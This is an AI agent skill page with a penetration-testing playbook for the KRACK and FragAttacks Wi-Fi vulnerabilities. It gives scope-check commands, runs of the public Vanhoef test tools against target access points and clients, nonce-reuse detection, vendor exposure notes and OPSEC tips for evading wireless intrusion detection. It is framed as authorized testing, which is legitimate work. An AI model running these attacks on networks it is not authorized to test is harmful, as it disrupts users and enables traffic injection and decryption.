# Krack Fragattacks

> KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation/aggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.

- Skill: `purpleailab/krack-fragattacks` (Agent Skill)
- Install (CLI): `npx skillmds@latest add purpleailab/krack-fragattacks`
- Raw SKILL.md: https://api.skillmd.com/api/skills/purpleailab/krack-fragattacks/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- Author: purpleailab (https://skillmd.com/u/purpleailab)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/purpleailab/krack-fragattacks

---


# KRACK + FragAttacks

> **Viability gate:** Both vulnerability families are largely
> mitigated on patched stacks. Modern Linux kernel ≥ 5.7, Android
> ≥ 10 (November 2017 patch), Windows ≥ October 2017, iOS ≥ 11.1,
> macOS ≥ High Sierra 10.13.1, and hostapd/wpa_supplicant ≥ 2.9 are
> all patched. **Read this section before spending engagement time.**
> Viable targets: unpatched embedded routers, ISP CPE, industrial
> Wi-Fi adapters, OT/ICS wireless bridges, legacy Android (≤ 9),
> custom RTOS supplicants, IoT sensors with frozen firmware.

## Scope-viability assessment (run before any active test)

```bash
# 1. Identify the target supplicant / AP firmware version
# From passive beacons:
sudo airodump-ng -c <CHANNEL> --bssid <BSSID> -w /tmp/krack_recon \
    --output-format pcap <mon-iface>

tshark -r /tmp/krack_recon-01.cap -Y "wlan.fc.type_subtype == 8" \
    -T fields -e wlan.ssid -e wlan_mgt.vendor.data 2>/dev/null | head

# 2. Identify vendor/OUI from BSSID
echo "<BSSID>" | cut -d: -f1-3 | tr -d ':' | \
    grep -i -f - /usr/share/ieee-data/oui.txt 2>/dev/null || \
    curl -s "https://api.maclookup.app/v2/macs/<first_6_hex>" 2>/dev/null

# 3. Cross-reference vendor/firmware against KRACK/FragAttacks patch matrix
# Key rule of thumb:
#   - wpa_supplicant build date before 2017-10 → KRACK likely
#   - Custom RTOS / bare-metal 802.11 MAC → FragAttacks design flaws highly likely
#   - Linux kernel < 4.14 → KRACK 4-way impl flaw possible
#   - iOS < 11.1, Android < 8.0 → KRACK, check CVE-2017-13080 group key
```

## KRACK Family (CVE-2017-13077..13082)

### How it works

During the 4-way handshake (or group-key/FT/PeerLink handshake),
the authenticator can retransmit Msg3 (or Msg1 for group key).
A vulnerable supplicant reinstalls the PTK/GTK, resetting the TKIP
MIC counter or CCMP nonce to a previously-used value. Nonce reuse
under AES-CCMP allows decryption and in some modes injection.

### Vanhoef krackattacks test scripts

```bash
# Clone the test framework
git clone https://github.com/vanhoej/krackattacks-scripts.git
cd krackattacks-scripts

# Install dependencies
pip3 install -r requirements.txt
sudo apt-get install -y libnl-3-dev libnl-genl-3-dev

# Build the modified hostapd
cd hostapd && cp defconfig .config && make -j4 && cd ..

# Test 4-way handshake key reinstallation (PTK-TKIP or PTK-CCMP)
# The script acts as an AP, manipulates the handshake, and confirms
# nonce reuse in the supplicant's TX frames.
sudo python3 krack-test-client.py \
    --interface <iface> \
    --target-mac <CLIENT_MAC>

# Test group key reinstallation (GTK, CVE-2017-13080)
sudo python3 krack-test-client.py \
    --interface <iface> \
    --target-mac <CLIENT_MAC> \
    --group-key-test
```

### Channel-based MITM setup for KRACK

```bash
# KRACK requires MITM position between client and AP.
# Standard setup: clone the AP on a different channel, relay frames.
# The krackattacks-scripts handle this internally via the modified
# hostapd (acts as both client to real AP and AP to victim client).

# Confirm nonce reuse from captured frames:
tshark -r /tmp/krack_capture.pcap -Y "wlan.ccmp.extiv" \
    -T fields -e wlan.sa -e wlan.ccmp.extiv 2>/dev/null | \
    awk '{seen[$1][$2]++; if (seen[$1][$2]>1) print "NONCE REUSE:", $0}'
```

### CVE map for KRACK

| CVE | Target | Condition |
|---|---|---|
| CVE-2017-13077 | Reinstallation of PTK-TK during 4-way | wpa_supplicant / Android |
| CVE-2017-13078 | Reinstallation of GTK during 4-way | wpa_supplicant |
| CVE-2017-13079 | Reinstallation of IGTK during 4-way | wpa_supplicant |
| CVE-2017-13080 | Reinstallation of GTK during group-key handshake | All major platforms |
| CVE-2017-13081 | Reinstallation of IGTK during group-key | wpa_supplicant |
| CVE-2017-13082 | PTK reinstall on FT reassociation (BeAP) | hostapd/APs with 802.11r |

## FragAttacks Family (CVE-2020-24586..26147)

FragAttacks cover three distinct flaw categories across 802.11 from
1997 to 2020-era implementations. Design flaws affect virtually all
clients; implementation flaws vary.

### Flaw categories

| Category | CVEs | Description |
|---|---|---|
| Aggregation design | CVE-2020-24588 | Non-SPP A-MSDU flag not checked; allows injection of aggregated frames |
| Mixed-key attack | CVE-2020-24587 | Fragments from different keys can be reassembled |
| Fragment cache | CVE-2020-24586 | Fragments not flushed on reconnect; stale fragment injection |
| Implementation: plaintext inject | CVE-2020-26140, 26143 | AP/client accepts plaintext data frames in encrypted network |
| Implementation: mixed fragment | CVE-2020-26144, 26145 | Accept plaintext broadcast fragment with SPP A-MSDU |
| Implementation: EAPOL inject | CVE-2020-26139 | AP forwards EAPOL from unauthenticated sender (before 4-way) |
| Implementation: SSP A-MSDU | CVE-2020-26146 | Reassemble encrypted fragments with plaintext head fragment |
| Implementation: mixed EAPOL | CVE-2020-26147 | Reassemble mixed encrypted+plaintext fragments |

### Vanhoef fragattacks test tool

```bash
# Clone the test framework
git clone https://github.com/vanhoef/fragattacks.git
cd fragattacks

pip3 install -r requirements.txt
# Build patched wpa_supplicant / hostapd as per README

# Run all FragAttacks tests against a target AP (acting as client)
sudo python3 fragattacks.py <iface> ping \
    --bssid <BSSID> --ssid "<SSID>" \
    --psk "<PSK_IF_KNOWN>"

# Test specific CVE (e.g., plaintext injection CVE-2020-26140):
sudo python3 fragattacks.py <iface> ping-frag-plaintext \
    --bssid <BSSID> --ssid "<SSID>" --psk "<PSK>"

# Test aggregate injection (CVE-2020-24588):
sudo python3 fragattacks.py <iface> ping-amsdu \
    --bssid <BSSID> --ssid "<SSID>" --psk "<PSK>"

# Test EAPOL pre-auth inject (CVE-2020-26139):
sudo python3 fragattacks.py <iface> eapol-inject \
    --bssid <BSSID> --ssid "<SSID>"
```

### Confirming a successful attack

```bash
# The test tool will print per-test results like:
# [SUCCESS] ping sent as plaintext using fragmentation (CVE-2020-26140)
# [FAILED]  mixed-key attack: AP correctly rejected

# Pcap evidence: confirm injected frame reached the target
tshark -r /tmp/fragattacks_test.pcap -Y "icmp" \
    -T fields -e ip.src -e ip.dst -e icmp.type 2>/dev/null
# A successful icmp echo from attacker's injected IP confirms injection.
```

## Per-vendor residual exposure notes

```
Linux mac80211 (kernel < 5.8 without October 2020 patches):
  → CVE-2020-26139 (EAPOL forward), CVE-2020-24587 (mixed-key)
  → Patch: kernel ≥ 5.8 + upstream backports

wpa_supplicant < 2.10 (pre October 2020):
  → CVE-2020-24587, CVE-2020-24586 (fragment cache)

Windows WLAN driver:
  → CVE-2020-24587 (mixed-key), CVE-2020-26144 (plaintext broadcast)
  → Patch: KB4571744 (August 2020 CU)

Custom RTOS / bare-metal 802.11 MAC (common in OT wireless bridges):
  → All design flaws likely; implementation flaws depend on the vendor.
  → No upstream wpa_supplicant → vendor must ship a custom patch.
  → HIGH priority target for this skill.

Confirm patch state from firmware version:
  iw dev <iface> info      # local driver
  snmpwalk -c public <AP_IP> 1.3.6.1.2.1.1.1.0  # AP sysDescr if reachable
```

## Evidence

```python
kg_add_node(
    kind="finding",
    label=f"KRACK/FragAttacks: {cve_id} — {description}",
    props={
        "key": f"fragattacks::{bssid}::{cve_id}",
        "severity": "high",   # Injection/decryption: critical; exposure only: high
        "cve_ids": [cve_id],
        "bssid": bssid,
        "ssid": ssid,
        "client_mac": client_mac,       # if client-side flaw
        "flaw_type": flaw_type,         # "design" | "implementation"
        "test_result": "SUCCESS",
        "tool_output": tool_output_snippet,
        "remediation": (
            "Apply firmware/driver update from vendor. "
            "For wpa_supplicant: upgrade to ≥2.10. "
            "For mac80211: kernel ≥5.8 + security backports. "
            "For custom RTOS: contact vendor for KRACK/FragAttacks patch "
            "or isolate device from untrusted wireless clients."
        ),
    },
)
```

## ZFP

1. fragattacks.py or krack-test-client.py console output naming the CVE and showing `[SUCCESS]`.
2. Pcap with timestamp showing the injected/decrypted frame proof (ICMP echo, injected DNS, etc.).
3. Screenshot of tshark nonce-reuse detection output (for KRACK).

## OPSEC notes

- KRACK and FragAttacks require an active channel-based MITM or rogue
  AP — both are loud and generate continuous management/data frames.
  Expect WIDS alerts. Gate on `posture=loud`.
- KRACK MITM setup disrupts normal traffic for the victim client while
  the test is running. Brief client disconnection is expected.
- FragAttacks test tool sends probe/injection packets to the AP
  continuously. Rate-limit with `--delay` parameter if stealth matters.
- Regulatory TX gate applies: confirm `iw reg get` before activating
  any TX-capable mode.

## References

- Vanhoef, M. & Franken, F., "Fragment and Forge: Breaking Wi-Fi Through Frame Aggregation and Fragmentation", USENIX Security 2021.
- Vanhoef, M. & Piessens, F., "Key Reinstallation Attacks: Forcing Nonce Reuse in WPA2", ACM CCS 2017.
- fragattacks.com — CVE detail, patch status tracker.
- krackattacks.com — original KRACK disclosure + test scripts.
- NVD entries: CVE-2017-13077..13082, CVE-2020-24586..24588, CVE-2020-26139..26147.
- `wpa2-psk` skill — primary PSK capture on patched stacks.
- `deauth-pmf` skill — MITM position setup.